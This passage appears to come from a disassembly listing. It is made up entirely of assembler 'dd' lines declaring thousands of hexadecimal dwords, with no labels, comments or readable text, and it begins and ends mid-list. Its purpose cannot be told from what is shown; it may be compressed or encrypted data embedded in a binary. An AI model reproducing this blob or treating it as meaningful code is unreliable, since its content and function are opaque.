0E4017EACh, 58C0C14Eh, 0AF42E5h, 6FF0C2Ah dd 0A94A8BBAh, 0A61AC901h, 25C3441Dh, 58DC3921h, 0FED5E435h dd 37F65Fh, 0B0A764DDh, 6010BD6Eh, 0D78F4816h, 58400812h dd 0B31A15CFh, 728A3C2Bh, 0C8AB9000h, 0F98DFA0Ah, 0E4B67D2Eh dd 6F149580h, 2618D1FEh, 7C82A4h, 0C0ABC57Bh, 0B57E45E7h dd 4023BBA0h, 4CECFD98h, 61584B90h, 0CB0E00E7h, 0B6BD8EFCh dd 78B27475h, 1E6000Ah, 0B8364CE4h, 71E06ECFh, 0AACA74Ch dd 0F6A0EF89h, 0FD19003Fh, 0B4345D04h, 26A703DBh, 376B5F80h dd 0C86DA1D8h, 2C0015F0h, 49E4E0ACh, 0CD2477h, 0F57A3673h dd 683498F9h, 111A600h, 0E18CEF87h, 0F34D3893h, 3C7726h dd 0B7D0C295h, 0A9904632h, 7234B401h, 473E31F1h, 2BF4CE8h dd 6C6524FDh, 8850214Eh, 23175D00h, 38B92DF5h, 2EA300C6h dd 99CF7009h, 6E00125Eh, 0E4EE88E1h, 9056CDh, 0F1B35207h dd 6D1C38E0h, 16001579h, 35D97D6Bh, 9287643h, 30CAE9ECh dd 2D473040h, 0C08C2B00h, 89822AFCh, 7995005Fh, 0FB7FAB1Ch dd 0B8E2C161h, 86C46400h, 5ED4007h, 713F290h, 2DA3B4E9h dd 6CFBE063h, 6E076479h, 9276D751h, 0E6B391C0h, 0B26900Eh dd 72228203h, 6CAC1080h, 1EE627Fh, 1642DB00h, 9C125B59h dd 0A6935C9Ah, 0CC886801h, 0C43A8C5Dh, 5A0186F7h, 0FB11C02Ah dd 0B6702772h, 0C41600DDh, 0B8620628h, 0A324695Bh, 0D01CA468h dd 0C06007CFh, 779F96FDh, 0AF38007Dh, 17AED64Ah, 1CB042FFh dd 9A77E673h, 28E43D1Dh, 242B5140h, 0FE0A2C4h, 43FC4D21h dd 0A3025902h, 0B9C3C4E8h, 7C27112Eh, 74166B40h, 0E57003C1h dd 0BE9CBB64h, 80FD23E1h, 668613A0h, 1FC72561h, 0EC51DC38h dd 96070004h, 56B9FF60h, 7D647200h, 0ECC44731h, 0F6983957h dd 6DC63780h, 0C15E3B94h, 0D8A88230h, 7DA445h, 0D97BAE13h dd 233A1975h, 59A10300h, 1C39DBDDh, 2C8600EBh, 6770285Dh dd 37005E76h, 0D5E7C6C7h, 0F07263h, 0C354ADFFh, 780A89E5h dd 7B40D900h, 931CBA5Fh, 9BC200B5h, 7645FD26h, 0ED0035E9h dd 0FFACD8F4h, 9B5045Bh, 40A255A6h, 0BFE85860h, 0EB5F5101h dd 9AACBBD3h, 0CBAC60h, 0D25503BCh, 0FF3F740Fh, 58804900h dd 0A102EA70h, 1FE500B2h, 8E607DB9h, 1800443Ah, 0A3F1FE5Eh dd 4E0524h, 0A25F738Ah, 99C4E637h, 8E59FB78h, 0AD5E00E8h dd 0F753DBE7h, 0FF5800B6h, 0C7EF1E14h, 0FD7FDC42h, 6238DF0Fh dd 0E0EE8982h, 0CFA31388h, 0AFA0A5A9h, 4FACFD36h, 1B833B00h dd 0C2CAEF3Fh, 0E2E90063h, 5DF0672Dh, 271F92A8h, 0B542AC73h dd 785BA714h, 15050B4Ch, 73006A5Ah, 4CAA768Ch, 0BC5358A8h dd 0F8712100h, 9B9FBAD6h, 38093052h, 10938288h, 1A973300h dd 0E387183Bh, 0ACCF02DAh, 0D9C1BEF2h, 156E9080h, 930072EEh dd 43A9DD35h, 70F15FF0h, 52A0929h, 0A0017BE9h, 802018F7h dd 1C36CB90h, 3E26ED81h, 3DB06D8Ah, 0EB1E8E38h, 4D4F910Bh dd 0AC6C0302h, 0DE95B948h, 0F30DD4h, 0A66D2EFFh, 3387A991h dd 8357113Ch, 0AD6AE68Fh, 547DA0B4h, 185300DFh, 27376C60h dd 9E030C2Bh, 7CCEB9B7h, 0DF529006h, 0E4B4F6Dh, 5647B364h dd 0CD506092h, 841398EDh, 0F440D3F7h, 89FA0936h, 287E000Eh dd 0A1DAEDC2h, 7738D242h, 4F57801Ah, 8BB76DD4h, 0C22627ADh dd 160F9081h, 0E8A1D286h, 8040A537h, 21192918h, 0A9F90EBh dd 0A9F3BD86h, 0CFC760D0h, 0E424485Eh, 0EE00CB96h, 604EB4A4h dd 49CC0130h, 7503140Eh, 1A84D80Ch, 0B620949Ch, 12B95D00h dd 0CD737AE6h, 6953003Bh, 3A9B83Fh, 3532FD78h, 6018F644h dd 6E9EAB8h, 0FA0E3C7Fh, 7E003A71h, 0A2C1CB91h, 0F0D115Dh dd 29B8F2AFh, 0A880C82Bh, 18156F44h, 0A8D0791Fh, 0F9B20F00h dd 2414F707h, 81184E2Dh, 2BB5D89Eh, 4C817B92h, 8AD9F39Ch dd 798DECh, 0D649D422h, 681A67B4h, 43E440EDh, 0D7009A23h dd 99E3570h, 442CCEDh, 2A53717Eh, 529683C4h, 60171000h dd 0D91E5EA4h, 13EC00BFh, 212DAA30h, 0E8C2CED5h, 48A475BAh dd 65312B7Ch, 0C3389942h, 0EDABA128h, 0C06F0289h, 0AA05FBB2h dd 89D97AA2h, 0D44D7EC0h, 0F7750066h, 0CF87036Ah, 0EDEF3E86h dd 4540606Eh, 0F869C101h, 39130512h, 0BF3EDC40h, 0C850000Ah dd 10DAD65Fh, 9001B89Dh, 89F23A1Fh, 24205DA9h, 84B5132Ah dd 98133Eh, 0F17CCA2Eh, 2F32049Fh, 0C00AB08Ah, 34978Ch dd 8C289E53h, 636E3339h, 5B36B502h, 0D093DEF8h, 0A04B001Ch dd 469A8B0Ah, 0A600713Bh, 0A5B70576h, 1E7C515h, 0B414F3D9h dd 0D56CEB2Ch dd 5FBAF8A1h, 5045DD14h, 0AB900B8h, 378955D4h, 7E2A03F1h dd 57DC12D7h, 0BEAF18C9h, 4B981628h, 592CCCC2h, 31D3803Ch dd 6A461D45h, 1E2A70C0h, 8097F92Fh, 17046853h, 7AC6B861h dd 202AF480h, 3ECC39A5h, 18A7A918h, 8700523Ah, 38977C89h dd 92D111D7h, 0BFE73968h, 0B0F380E4h, 5B4CA9FCh, 5017E0Fh dd 6354DB69h, 0F8FCAB62h, 44EF4C19h, 9CD8B800h, 0DA6D95B4h dd 0E56A2E00h, 10D96C45h, 0B95B0A85h, 3DFE3CBCh, 0C1B03A80h dd 622C5C11h, 16870F16h, 0F300541Dh, 0CAA62E82h, 971400EFh dd 0CBE0987Dh, 0D0B8DD1h, 0E39EFEh, 8BF9A5C4h, 154B00E5h dd 97F1AC52h, 6A1F8CE7h, 0AE056EBCh, 82831727h, 0D7498D9h dd 0DD8B02A8h, 31195BA1h, 0BEF5ECE0h, 9129413h, 0D1AC2402h dd 0E6442055h, 2E00D5F3h, 90AA5C24h, 50CABD12h, 0E59018h dd 387E00Dh, 0F2312FE1h, 8101641Ch, 2957F980h, 0D06F9Ch dd 7BDEC8B4h, 0B1EBEA1Eh, 336C8E03h, 0D889D785h, 707E53D6h dd 0E99F0B18h, 0D0802BB8h, 0C07ABE98h, 86F50086h, 0BAE2626Dh dd 0C1130D55h, 74CC7641h, 257708h, 0E4FD3F80h, 0AB14F249h dd 0E9A45D1Fh, 0B4666344h, 0C4DDBDC3h, 0E8641489h, 40C0152h dd 66388D0Bh, 6F7B3035h, 1F419001h, 2AF56CEEh, 48B374DCh dd 16032C0Ah, 695CEDB7h, 6B4DA489h, 1F8444B0h, 0CEC74309h dd 6CE38FA2h, 0A1F8A9DEh, 96010825h, 0B0C969ABh, 0E42CD38Bh dd 7982E580h, 16008811h, 736CF036h, 92DC9Ah, 2365C712h dd 813DE6D0h, 7FEE3C00h, 193B9667h, 0A4B24F0h, 29808B54h dd 3FFC806Ch, 262CA05Dh, 808F94CFh, 6120B87Ah, 0C37C0036h dd 96474DCBh, 1726A032h, 7A131074h, 27E92302h, 98F8703Bh dd 217907B9h, 1048DBD2h, 0BB5E22FDh, 454E2000h, 0A9A890AFh dd 8F409717h, 564DF311h, 9894CA8h, 27595C4h, 0E069348Ch dd 0D4F3B6h, 452FC2C8h, 0DBC520D2h, 4766BB00h, 0AC041181h dd 0BF4C00EDh, 999FD84Dh, 0E00076E7h, 0A38A8766h, 1C3865Ah dd 3F2EA048h, 0D8AE4908h, 0C426FC41h, 0F10BB77Dh, 0FEA420CDh dd 0D807C9h, 482246A4h, 2B722E75h, 0B5AD3Dh, 73AC134h dd 1EBB541Ah, 0C0CF9D88h, 0FB5A0809h, 170E79A7h, 80CE322Eh dd 98367470h, 0A32500C3h, 0B1424943h, 4600EAA4h, 552DB420h dd 48E91FB9h, 0A350E04Ah, 0D058589Fh, 6725EC00h, 41BD7CC9h dd 0A61E2B02h, 5AA879E1h, 0F6D513E8h, 0D8048076h, 304DD4B7h dd 3C9000B0h, 99A16EFAh, 0B0CF00ABh, 0AAA5802Ah, 38B471E0h dd 0C2FD9002h, 0F514E896h, 0CA38C249h, 0C4C0B346h, 9B005E92h dd 0B7014A69h, 9818949Dh, 11A6006Dh, 0E11F836Bh, 8500C292h dd 69946D1h, 9A5461D8h, 0D2DB00B8h, 1C317398h, 9302A1E1h dd 848ED374h, 9852A0h, 63F79442h, 392F23C0h, 98006970h dd 6BFF910Ah, 0E8B1E7FCh, 0DB800721h, 3217BC41h, 0FC60F5B5h dd 0FF01B385h, 75BE04A2h, 0E0208279h, 3D6A1CF8h, 0C0C20B0Fh dd 0EA030800h, 2C603A30h, 0B11B9988h, 0E5560204h, 0D3D083F9h dd 25ED78E9h, 0CE40DDFCh, 8F50A4D0h, 0B5E06D94h, 0D8C6B709h dd 0FF1E8002h, 28EA4929h, 0DAB166h, 8BE45812h, 0C506E531h dd 0F478F000h, 8D9F5E82h, 7D402CF7h, 0B4023F4Ah, 0AE02DFFEh dd 49737440h, 98D72D0Fh, 31B24465h, 9655C1C1h, 0DC30D0C9h dd 129B0029h, 6C0B3A07h, 900138E1h, 79955E0Ah, 0F570AD9Ah dd 0A8113E14h, 7A2F2200h, 675BCF3h, 4E00D47Ch, 21169638h dd 0A5C693h, 325CC4DCh, 111FEC57h, 39696D00h, 749EC104h dd 884A04Eh, 70C8F64Bh, 0E7FE0E80h, 7602B5CFh, 0F058D122h dd 0AB1F7A01h, 75E2397Eh, 7D05883Ch, 808CD689h, 0D529A957h dd 33A541Ch, 28DFBA1Fh, 94AB7907h, 72B75F30h, 171E13B2h dd 1A3C40BBh, 82DAC7FAh, 4A433700h, 5C2D09Ah, 50140577h dd 803ED5C4h, 10EB597Ch, 55A8E200h, 0C2C30124h, 1CF200A2h dd 0D6716162h, 0A000312Dh, 8B7A918Dh, 7752F69Fh, 3F178DEh dd 2B37C880h, 0D798A6F4h, 849AC083h, 989EF872h, 0DF840740h dd 0EBF000D6h, 6F8F096Dh, 2C00544Ch, 8E94CA8Dh, 1AAA03h dd 3B11DBA1h, 0AFCF075h, 280937FEh, 81D87AC8h, 0DA47173Ah dd 5406B438h, 982CE443h, 3A012E7Eh, 8E97F625h, 0E8656E34h dd 340B830h, 29081054h, 0FFA882D1h, 0A6F01AB3h, 0BD63CC07h dd 484212EEh, 29CD98Fh, 727C7F64h, 7B87DA40h, 1EFADE01h dd 9FCB68E0h, 0B316E8E7h, 3EC7C5Dh, 0E9666708h, 9DA87475h dd 49000152h, 301251C4h, 1253E77Ch, 0F928237h, 0A3E07420h dd 0F97A2EE1h, 0B7ED5D1Fh, 0C519AF41h, 402C610Fh, 759E0750h dd 310E3EC0h, 14877E00h, 906C162h, 0EF56B71Fh, 37042D80h dd 770C7802h, 3321004Ah, 9AA0FCCh, 861D8863h, 0F73AD39Dh dd 0AC12FD00h, 6D605D6Ch, 971800F2h, 0A2FC10E9h, 7803B17Bh dd 5B2368B0h, 0AD11D8D6h, 0D7A0098h, 0D7880641h, 0CA017FF5h dd 6B810E3Ch, 69E2AC89h, 0C470DD8Ch, 73E107F2h, 81C17741h dd 0F89D5E80h, 6B0018B6h, 0F674F814h, 2D366Ch, 4C5CAA60h dd 0E7EFE80Ch, 4F44CA00h, 37F8B473h, 0AED0009Fh, 7DC76C98h dd 80EF14E6h, 25BBEEB8h, 73CDBA1Fh, 28A30077h, 0CA64F8F2h dd 0A5780BB0h, 3D00DBEAh, 977C26FEh, 82F78Ch, 6E672EFAh dd 0D9B80DF4h, 8A00A492h, 0A5E5A475h, 179AF8C2h, 0C0EDF72Eh dd 86C331A0h, 3303AD98h, 21FFFE35h, 84EC8D1h, 2A8FA0Dh dd 0B5DD5A47h, 2C5869DBh, 61D40900h, 3ABDC55Bh, 2F20BEBh dd 24437FADh, 420DC4D8h, 854809E2h, 158900C4h, 904344B8h dd 0F5FE282Ch, 118F6918h, 6A139C20h, 0B02F3Fh, 8DDBF40Fh dd 0CDA6C247h, 82FCE8CBh, 0AD5E308Ch, 0AE942489h, 84E96B1Dh dd 5781DF03h, 78D6E372h, 186EFC18h, 2020C111h, 0F6016D46h dd 97A57E5Eh, 2440038Dh, 4D079Eh, 0AEA67CFFh, 193CDB4Eh dd 975DCA06h, 0C0384C45h, 42674158h, 0F17B1001h, 87F37503h dd 0FE97B21Fh, 30580068h, 1C3BAA66h, 74008907h, 0BE52D2A0h dd 584BAC5Dh, 2C0082B9h, 0FD0E8771h, 38008297h, 6572456h dd 0E65BA5ABh, 818907DFh, 573ACC18h, 3EAE60F1h, 9600EEECh dd 0CF52FF83h, 38F997E3h, 8480F2D5h, 6330643Ch, 0AB0019A3h dd 27ACD56h, 1BB901Fh, 1AE4938Bh, 0D379222Eh, 528E50D8h dd 88FD3C00h, 994E398h, 0EBE1C799h, 83B7120Eh, 8655905Eh dd 10192476h, 1C618700h, 31F92630h, 35A7DA4h, 33F502A7h dd 0D4C8B75Bh, 3F005835h, 2F613A1Eh, 53D18Eh, 0CC4C9457h dd 447BC587h, 0B98C2800h, 0FDDBB633h, 75F91C47h, 40198EE6h dd 7051A6A0h, 0DE00D8AAh, 4B35CF65h, 0EC01562Ah, 90FE0348h dd 390B559Eh, 9597BB0h, 0BEA2B50Fh, 72B42079h, 6B2CEEh dd 69A30EFAh, 0F3D6979Eh, 617D4100h, 0C98C59CFh, 18AB1C7Bh dd 0A2A8A4h, 0F34B8623h, 0A0C865D0h, 74720600h, 28DA88D1h dd 98810045h, 10E537CAh, 831E7DCBh, 88586F87h, 2A4EF8h dd 4052C644h, 0A1B3A926h, 0DF6AD900h, 95D57DCh, 0CA5A1230h dd 1807FF2Ch, 9F507E68h, 72AE89h, 5EE90556h, 47C465C5h dd 4335C01Fh, 5F00511Dh, 0C3F3FB3Fh, 6A600BCh, 0AF1B289Eh dd 8000190Bh, 0CC91FF4h, 0B886827Dh, 0CE7C00ACh, 5A257BA5h dd 0CF0FCDCCh, 0C041C02Dh, 2AA9BCC1h, 702203AFh, 46D4A65Bh dd 2F0EF07Dh, 41C7AAF0h, 0C40DA460h, 0ACB0003Bh, 0D7FE402Ah dd 0AF634300h, 4632ABCCh dd 6FF10047h, 5C2D4FEEh, 9F07D3D6h, 74125824h, 0C0701580h dd 6BF000FAh, 75952C88h, 2100C676h, 0C9797AADh, 18EA1C4Bh dd 106046BDh, 9C0077A6h, 0E7F70AFDh, 97D0203h, 9799F88Dh dd 0E2894410h, 4EFC000h, 7305A245h, 0A6E6A8h, 0C5338535h dd 15C12E48h, 0A7A07B00h, 9F02FC6Eh, 0F00FF090h, 0CB0300D3h dd 5AFB11C4h, 103670Ah, 0F9C6BCE3h, 0A3E78887h, 1E3C0158h dd 61236D5h, 0A79D6079h, 0DAF180EFh, 6E76B51Ah, 89330FC9h dd 3A8E1ECDh, 0A570C301h, 0F42EE92Fh, 76008E4Dh, 0C1A11BE3h dd 93ECC0Bh, 0E4E5A25Fh, 2F49FD00h, 0D4925E7Fh, 0BD01202h dd 81A3F5E1h, 68D895DCh, 3A33F8h, 0ECD3CB4Dh, 0C87DF36Eh dd 0AD39B31Bh, 6B30F029h, 9720029h, 0AE6026F0h, 8B48F977h dd 0E8A700D0h, 8F24413Dh, 96200F6h, 2AC55A20h, 0B07D933h dd 91A46CD6h, 6383F41Ah, 0F2C68567h, 4100F747h, 0C5BE4352h dd 0E4E0600h, 8C2CB873h, 4C8E9812h, 0AD003AC7h, 6C602F77h dd 0A9302DEAh, 0FC41989Eh, 34390257h, 7F452791h, 3DB89880h dd 7003F2B9h, 599BEA8Ah, 7418007Ch, 31A8C019h, 2F154807h dd 8CF0E3h, 5D242EE9h, 0CE8F1Dh, 37D62B8Dh, 97724D0Dh dd 288BD200h, 32042733h, 3E1A3B42h, 802C1DA6h, 0EDEFF667h dd 1B0070BEh, 0C3A6C16Ch, 3F98D777h, 8863B943h, 0FFD08493h dd 3A0FB55Fh, 801744E1h, 5C7FEEA7h, 0B46E0074h, 0C16D68BAh dd 4B00EF85h, 44D0D650h, 19332F1Dh, 1A3EB4FCh, 19827064h dd 81740B3Bh, 0C41392C2h, 90801E1Ch, 5D82D9AEh, 3200F0BBh dd 81DD896Dh, 2E6054h, 0D3FA71A7h, 8AC3368Fh, 0DE20100h dd 99584C28h, 38C09A32h, 0CA040B95h, 0C2CB5E31h, 0A240A3B8h dd 0B6000CDAh, 0DB84BC1Bh, 3521CA2h, 0ED54886Ah, 65E19087h dd 62C4EC39h, 5B3D4700h, 63178027h, 744C003Ch, 3E022CCh dd 0D3001348h, 120ED0D4h, 0AE79DEh, 33BA5908h, 0FC836E2Fh dd 0FA5BA105h, 0D040CF81h, 7376D582h, 913F0339h, 496E0BF7h dd 93A8DCD8h, 0A2064400h, 8323FBA5h, 88B603CBh, 7147499Bh dd 0F4F7BD98h, 0E4D29C00h, 0E0C2F1FFh, 28EE00B2h, 8AE3D307h dd 0C7009A68h, 5C4A673Bh, 3585B7h, 997BA8C5h, 0AA092D34h dd 1B5E7C00h, 8658034Ah, 2A8802FFh, 0EE86319h, 8609CA2h dd 809B2710h, 0F800B1A5h, 0CE3CC3B6h, 279B85Ah, 86F0AFCBh dd 0B868309Ch, 980982D8h, 0F14A0DDh, 3AE8C020h, 0D99BE2h dd 0AA43122Fh, 0BC72A149h, 0EDDA3700h, 9A3097F2h, 98A73AC9h dd 6140FE80h, 0F40DDCA1h, 7476993Fh, 5EF38A00h, 0E0C52C9h dd 5476D0h, 0FCA2E0A1h, 8161E1DDh, 45DA86C0h, 1E92CFCCh dd 0F95CEA23h, 0BC598E00h, 6A4A0C19h, 0C3469F01h, 7AF409Dh dd 0D670F8CDh, 269730DBh, 754FFFE8h, 0B3242300h, 4BD9BC47h dd 0F1275DCh, 0CD83F605h, 7F4ACC01h, 33308FE0h, 3488C05Eh dd 6315E2h, 4EA004B4h, 0FF9F0DD8h, 3865FB01h, 1B92675Eh dd 5A8798EFh, 9CE1164Fh, 0BCE00020h, 0AFF87B50h, 2E853C1Fh dd 0C0BF5E00h, 471633h, 0D2A57D9Fh, 0E4814B6Fh, 9936FD00h dd 4623D0B2h, 0EDB50037h, 0C16FED5h, 157878F8h, 0AE478200h dd 347A55B0h, 791C0002h, 0F04F05E6h, 300084F5h, 0DDCF4E2Ah dd 3D50225Bh, 4100B749h, 13A212C6h, 7C79A19Eh, 0A41C5892h dd 43986274h, 1D2B28h, 9DAF2170h, 0AE63D0D1h, 9FCBBB01h dd 0EA3C6B64h, 0E93E30h, 0ACFA2DD9h, 63D35117h, 3528B100h dd 2BE4D5C0h, 327A005Bh, 178CDCCAh, 2C01BC29h, 52B006A1h dd 5C8B646Bh, 67807D98h, 0EAE95972h, 20098B25h, 18D2D858h dd 977D0742h, 415D4446h, 3190669Ah, 0F3ADE1CCh, 36EC0D7h dd 6C92C3CFh, 0F6764600h, 548DDB8Fh, 844B00F5h, 69E79A5Ah dd 7E253E06h, 0CE8C307Dh, 0D874D2h, 0A18C89C1h, 6691498Ah dd 0B674EAF8h, 8030B86Fh, 6F0F6008h, 5AD804D6h, 0A5B42353h dd 0D356C0B8h, 1C978700h, 3A0E2DABh, 3D5A39D1h, 0FB893080h dd 674D5B44h, 63843614h, 0C8089740h, 0C2A4804Fh, 78CAFAE6h dd 0AFA81216h, 0BC308417h, 506744A1h, 0CDD08Ah, 0B22FBF94h dd 4FA60496h, 4CB11D03h, 0C045F733h, 19D38A9h, 0B56B6C0h dd 406BC17Dh, 644DA595h, 30946800h, 54EE0623h, 87A402ABh dd 77ED076Bh, 6D9395C0h, 0F3C27B07h, 3BE135FCh, 0DEC04FA9h dd 1BDCF7BAh, 0C5F000E6h, 5C213A2Bh, 2700F9ACh, 36CD2ED3h dd 17CC9Eh, 3ECC4C1h, 0AB89B9F5h, 0F3D58601h, 8F43BFC9h dd 0C69834h, 0D2FC6301h, 0EA755E5Fh, 0DA599303h, 0D00B981Fh dd 54BB1B3Eh, 3A7198A0h, 4B0042F9h, 5EA7EC5Dh, 4E72400Ah dd 575820B7h, 24312Ah, 0A20C9369h, 34872837h, 3244B301h dd 4875D755h, 0D3E8406Bh, 0FE7DCB43h, 68D4206h, 484E14h dd 92DE099Eh, 51401653h, 1EE21901h, 8E9D41CAh, 18FC56F2h dd 0A8C7095Fh, 75B53748h, 0CB3C5900h, 0B75AFF19h, 4DF53DBFh dd 67563001h, 80F34035h, 9EA315A9h, 0F77944h, 0DC89434Ch dd 4751BB09h, 13ACAD00h, 3FCE650Eh, 67930050h, 96028D5Eh dd 4FF25B01h, 0AC907C5Bh, 0E64327h, 644C1821h, 0E783F7C3h dd 0A0988722h, 2635098h, 8A6EADECh, 6223C255h, 89CFE9AFh dd 1CFFCAC4h, 81D3C12Ch, 5460A99Eh, 9E18095h, 6B135A6Ah dd 46530F80h, 45C79D63h, 8D21637Ah, 0D0626991h, 0B9019FD9h dd 933EFA5h, 0B0C0DACDh, 0C6563CEAh, 0BD123600h, 2D9AB54Dh dd 0C9116D03h, 776EB7Ch, 7DC49CA9h, 5B84F0CDh, 0DA00BCA0h dd 0C1E92FA9h, 5EAA2E7h, 5E1CC8C4h, 86D50007h, 0D35DBFF1h dd 761801F2h, 0FE187CB1h, 0E671E75h, 289B0586h, 2D18008Eh dd 45D005B6h, 0C2D2BF0Eh, 0F388A038h, 1F4B9B2Bh, 0CA28D6h dd 4936A2A9h, 4000139Dh, 57BF032Dh, 0EEB3CCh, 0EC0529Ch dd 3523BD8Ah, 6331E505h, 142C434Dh, 3D1D0177h, 0A4E36762h dd 60284E43h, 0A84516E0h, 78DD00B2h, 6503ED42h, 59009ECDh dd 36B9B50Ah, 14322F75h, 14AB2AB2h, 6652A6F0h, 7D51E305h dd 742CC7E0h, 43500302h, 633DAF97h, 0DEC8E8BBh, 5A00B975h dd 7A98270Fh, 0A7BA918Ah, 1A4E0034h, 63764347h, 51E93F15h dd 6F728020h, 291536BBh, 6844D387h, 197C01CCh, 57731170h dd 7D048AD4h, 1FDED161h, 513B1086h, 0FC7F1815h, 1C195B00h dd 0F0D2099h, 0E0CFC86h, 3B7484BAh, 19BB98E1h, 887DC9FDh dd 45429h, 0AE402568h, 82070801h, 1F92F920h, 5B219420h dd 14F607h, 12A234EEh, 0C3D497E0h, 4A172900h, 1E0E4B5Eh dd 0FA7705h, 0AD61CDD6h, 993A3E51h, 624D7400h, 2B870F81h dd 85F000E0h, 0A69E8677h, 0C0EF7507h, 390067B3h, 64A39FECh dd 0FB856F7h, 8ECB6FD7h, 3E2B4D40h, 0FC00FBC7h, 5C4110DCh dd 3222F62h, 54D860C5h, 3DF038B3h, 9C00B718h, 0FB6BE08Bh dd 0E44F55h, 4E641785h, 0B0CF03Ch, 99044B30h, 0B001A82Bh dd 9CF40011h, 0A5226758h, 9F003C55h, 534A327Eh, 1D01D289h dd 0BBC5A606h, 4F0EC480h, 0DD1EE44Eh, 545AE900h, 196A06C6h dd 3E3900AFh, 0CA662635h, 8600C228h, 149EA1BBh, 3DAAA679h dd 0B980BF57h, 0B2F3DB9Ch, 8D28E4C7h, 0EE00E819h, 68636E6Fh dd 60A18218h, 0E6E031A8h, 0CF00ABC2h, 9B148819h, 47E298h dd 5BA26C50h, 646F0C43h, 18E01A09h, 8AED02C0h, 381448C4h dd 5A24A0A3h, 164FAF2h, 0EDC9C746h, 802954B3h, 0D2AA0958h dd 0C40C1A7h, 5814211Fh dd 120063ECh, 832E858Eh, 3D76A38Ch, 900E79FBh, 87E03F84h dd 0F0F85A5Bh, 9316CD01h, 548F9A0Ah, 11DEF4h, 0CB3B1358h dd 1C1B3408h, 9EA2672h, 5C207C18h, 1D4511h, 84C05350h dd 74E7A330h, 0F057B000h, 61BF3783h, 0F79A2439h, 9BDE807Ch dd 0BDDAFF40h, 24BA49h, 0D5784642h, 811136h, 0DE807AB2h dd 85059B4Bh, 0EF016C76h, 0AC43F43h, 0F4405BEBh, 0C63B28h dd 0F721D72Eh, 6F579E66h, 98262313h, 874B1000h, 75A6DB6h dd 642F0E0Ch, 0BB46E0B2h, 0A21CF7C0h, 3A00EF51h, 0A0B6449Ah dd 0B4A40013h, 7F102C1Eh, 3308911Ah, 81D6E864h, 0C17E40FFh dd 17CF202Dh, 599913Eh, 0E7672AA5h, 0DF6ECC00h, 731FEDh dd 4B16F157h, 723C850h, 0B9AEC40Fh, 207E0B55h, 0DA091F34h dd 7054013Eh, 0BBCBC28Ah, 41E4418Eh, 0DEB8D830h, 0DCD5F300h dd 28BC2414h, 409C57F7h, 1E361300h, 0C5477E0h, 0D003EA01h dd 897B2550h, 1E6C2C20h, 583430A7h, 476030A6h, 0EE04C407h dd 0BB931h, 6FB23AD3h, 0F8ED3027h, 0E784AC70h, 42B30E1Eh dd 5D027E40h, 0B63B33h, 0FC4A1D53h, 20E770E0h, 0B358F40Bh dd 9068024Ch, 76A4445Bh, 19A8A0FBh, 0A9C203ACh, 0BCA6052h dd 87A091CBh, 0FE74907Ch, 0ED128912h, 19FBC000h, 0A86CFA33h dd 403DD2BCh, 0B3428987h, 461DD00h, 3A681FA1h, 4C29AA00h dd 410ED15Fh, 87E0C067h, 779D722Dh, 6818B705h, 0BC04BE82h dd 3C051436h, 0CF45407h, 0F02C1101h, 0F902476Dh, 948051B8h dd 66797029h, 0D88D1200h, 0FD580E42h, 0C879485Eh, 0DE55BC80h dd 0A86194C1h, 0E8902278h, 7D5A83FCh, 5DAE0073h, 20948CCh dd 0A02F547h, 4B9931ACh, 0D2989062h, 0AE2F0083h, 0ED0CC1ECh dd 85091D42h, 693DC8Dh, 29023AFh, 951E3F01h, 869E247h dd 4844306Fh, 80964312h, 328CA000h, 999D9192h, 70398034h dd 94F5E85h, 3CE0A909h, 7AA0837Dh, 0FDB34Ah, 0A79318B9h dd 0E5EAB577h, 0B8042171h, 68BC9A92h, 0A0800CC8h, 2A7B62E6h dd 20A8991Fh, 3F20940h, 0BC4FD40Fh, 75ED0176h, 7C3349ABh dd 0F844A107h, 70A386ECh, 56304827h, 6E21FB2h, 18A2412Bh dd 0ABD2AD14h, 7BE7A3DCh, 302D0040h, 8173599h, 4303F96Ch dd 0D27733DFh, 0EACBB8Bh, 0F45C06F0h, 98B9D3A0h, 0CA091158h dd 807B8647h, 14ED9DACh, 0C3823071h, 41224B5Ah, 0F1DD5201h dd 0EA1C746Dh, 1E059F4h, 94C84A7Eh, 0D41219E6h, 0BB71922Eh dd 8488A424h, 0F285940h, 309B7709h, 86486314h, 2AC298FEh dd 8068FD04h, 9D324BCCh, 7DF5002Eh, 0F2D4C2B5h, 56002FF6h dd 36C3C22h, 0DCAD24h, 0D946A86h, 2E71B1B9h, 17E7D200h dd 9F2CF15Ch, 5B5300CAh, 6C7DA247h, 7401E5D1h, 7A2E4D46h dd 0B03064FCh, 49ED02C6h, 0CAE01DD6h, 0C8F71449h, 4713D38Ah dd 18411E20h, 0CFD5A9C7h, 0BC9FE0EBh, 4C190072h, 81862EC3h dd 8800DCE8h, 39BC2B0h, 0FF4D48h, 0B240F79Dh, 0E9DF5FCAh dd 60582E24h, 0A001B400h, 1F44655Eh, 407C0CE7h, 3686F968h dd 3200E4B8h, 0E0B278FBh, 2663A8h, 4E237AA4h, 9BF03FAEh dd 0D21B7400h, 0F71ADD9Ah, 0F89400B1h, 848BE392h, 14710D25h dd 32582900h, 557182ECh, 36A500AAh, 610AE995h, 0D2188BBCh dd 0AD0E51C7h, 2CD49AC0h, 4E30B260h, 6EFA00B1h, 0C0917279h dd 0D2C10064h, 0C7430546h, 2612EC8Bh, 88403378h, 0F6169BE9h dd 8853016Bh, 2B3069B2h, 4498011h, 0A1902554h, 26289A3Ch dd 50A018E3h, 380F2441h, 43C050A7h, 0D8899AF6h, 0EF28E3Fh dd 2AF5B639h, 0A03C1649h, 0BE5CB91Ch, 1B54A0C7h, 97D662h dd 0DFE35065h, 0FC22BD17h, 40884428h, 9D7F6B04h, 0ADA85801h dd 7648AFCFh, 24C0024h, 0AAA2FE0Ch, 4CEE275Fh, 74384002h dd 40374E78h, 486114h, 7C5D41C3h, 3E459EB1h, 8332FA01h dd 6654AC97h, 0F4BD020h, 9AE48A40h, 5C4241C0h, 83008ED4h dd 0E13C3ABEh, 2F0988Fh, 0F6C474E0h, 0D4A0DB87h, 0C27D9F2Ah dd 0C0683A59h, 0D31D7125h, 0B88100B0h, 7DD2F8A4h, 0C5015075h dd 0D142FDCCh, 0BCD03851h, 819D3D5Ch, 35E6CD80h, 7A5A5846h dd 90554000h, 0D156FFBh, 696116BCh, 2C01353h, 0F38A88D4h dd 0AEE2D480h, 3B3F8562h, 3D540073h, 381A41E1h, 537A0431h dd 0C035E927h, 0C47064D0h, 63B16017h, 45F71028h, 35B83087h dd 6E385A01h, 4FE61E92h, 0E84DD6D0h, 0FA5D0171h, 40B7C2B4h dd 8108299Dh, 44340BDEh, 2F42024h, 5AD83849h, 31C0A0DDh dd 0CF025EBCh, 95D36AA3h, 17F4C02Ch, 